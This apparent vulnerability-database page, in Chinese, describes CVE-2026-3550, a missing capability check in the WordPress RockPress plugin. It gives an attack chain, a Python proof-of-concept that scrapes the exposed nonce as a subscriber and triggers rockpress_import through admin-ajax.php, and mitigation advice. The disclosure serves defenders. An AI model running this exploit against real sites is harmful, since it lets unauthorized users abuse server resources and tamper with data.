IPBUF安全漏洞报告
English
CVE-2026-3550 CVSS 5.3 中危

CVE-2026-3550 WordPress RockPress插件权限缺失漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-3550
漏洞类型
权限缺失
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress RockPress Plugin

相关标签

权限缺失WordPressRockPressCVE-2026-3550AJAX

漏洞概述

WordPress RockPress插件在1.0.17及之前版本存在权限缺失漏洞。由于多个AJAX操作未进行能力检查,且插件的Nonce通过无条件加载的管理脚本暴露给所有认证用户,导致包括订阅者在内的任何登录用户均可触发导入、重置数据等敏感操作,从而执行资源密集型任务或修改系统状态。

技术细节

该漏洞的核心在于插件对AJAX处理函数的权限验证机制存在缺陷。插件在所有管理页面(包括profile.php)无条件加载'rockpress-admin'脚本,并利用wp_localize_script函数将'rockpress-nonce'值输出到前端页面中。受影响的AJAX处理函数(如rockpress_import, rockpress_reset_import等)仅验证请求中是否包含正确的nonce,而没有通过current_user_can()函数检查用户是否具备相应的管理权限。这导致任何拥有WordPress账户的用户(即便是权限最低的订阅者)在登录后访问后台任意页面,均可从HTML源码中提取该nonce。攻击者利用获取的nonce构造合法的POST请求发送至admin-ajax.php,即可调用敏感的后端功能,执行本应仅限管理员进行的导入操作、重置导入数据或检查服务连接,从而导致服务器资源被滥用或数据完整性受损。

攻击链分析

STEP 1
步骤1
攻击者注册或获取一个低权限账户(如订阅者Subscriber)。
STEP 2
步骤2
攻击者登录WordPress后台,访问任意管理页面(如profile.php)。
STEP 3
步骤3
攻击者查看页面HTML源代码,提取插件输出的'rockpress-nonce'值。
STEP 4
步骤4
攻击者利用获取的Nonce构造POST请求发送至/wp-admin/admin-ajax.php,指定action为rockpress_import或其他敏感操作。
STEP 5
步骤5
服务器验证Nonce通过,执行未授权的导入或重置操作,导致资源耗尽或数据被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests from bs4 import BeautifulSoup # Target configuration target_url = "http://example.com" username = "subscriber" password = "password" session = requests.Session() # Step 1: Login to get authenticated session login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url + '/wp-admin/profile.php' } session.post(target_url + "/wp-login.php", data=login_data) # Step 2: Fetch admin page to extract the nonce response = session.get(target_url + "/wp-admin/profile.php") soup = BeautifulSoup(response.text, 'html.parser') # Extract rockpress-nonce from the localized script object nonce = "" scripts = soup.find_all('script') for script in scripts: if 'rockpress' in script.text: # Simple parsing logic for demonstration start = script.text.find('"rockpress-nonce":"') + len('"rockpress-nonce":"') end = script.text.find('"', start) if start > -1 and end > -1: nonce = script.text[start:end] break if nonce: print(f"[*] Nonce found: {nonce}") # Step 3: Exploit the vulnerability by triggering an import exploit_url = target_url + "/wp-admin/admin-ajax.php" payload = { 'action': 'rockpress_import', 'security': nonce } exploit_resp = session.post(exploit_url, data=payload) print(f"[*] Exploit response status: {exploit_resp.status_code}") print(f"[*] Exploit response body: {exploit_resp.text[:200]}") else: print("[-] Nonce not found. Plugin might not be active or version mismatch.")

影响范围

RockPress <= 1.0.17

防御指南

临时缓解措施
建议立即将RockPress插件升级到最新版本以修复漏洞。在无法立即升级的情况下,应暂时禁用该插件,或者通过服务器配置限制低权限用户(如订阅者)对/wp-admin目录的访问权限,防止其获取Nonce并发起攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表